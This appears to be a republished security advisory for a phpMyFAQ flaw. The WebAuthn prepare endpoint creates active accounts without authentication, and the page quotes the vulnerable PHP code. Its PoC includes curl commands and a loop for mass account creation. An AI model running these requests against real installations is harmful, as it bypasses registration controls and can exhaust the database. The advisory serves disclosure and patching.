GHSA-w22q-m2fm-x9f4
HIGHphpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
The endpoint:
- Accepts any POST request with a JSON
usernamefield - If the username doesn't exist, creates a new active user account
- Does NOT check if WebAuthn support is enabled (
security.enableWebAuthnSupport) - Does NOT check if registration is enabled (
security.enableRegistration) - Does NOT verify CSRF tokens
- Does NOT require captcha validation
- Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
Impact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.0.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update thorsten/phpmyfaq to 4.0.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w22q-m2fm-x9f4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w22q-m2fm-x9f4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w22q-m2fm-x9f4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w22q-m2fm-x9f4 in your dependencies?
O3 detects GHSA-w22q-m2fm-x9f4 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.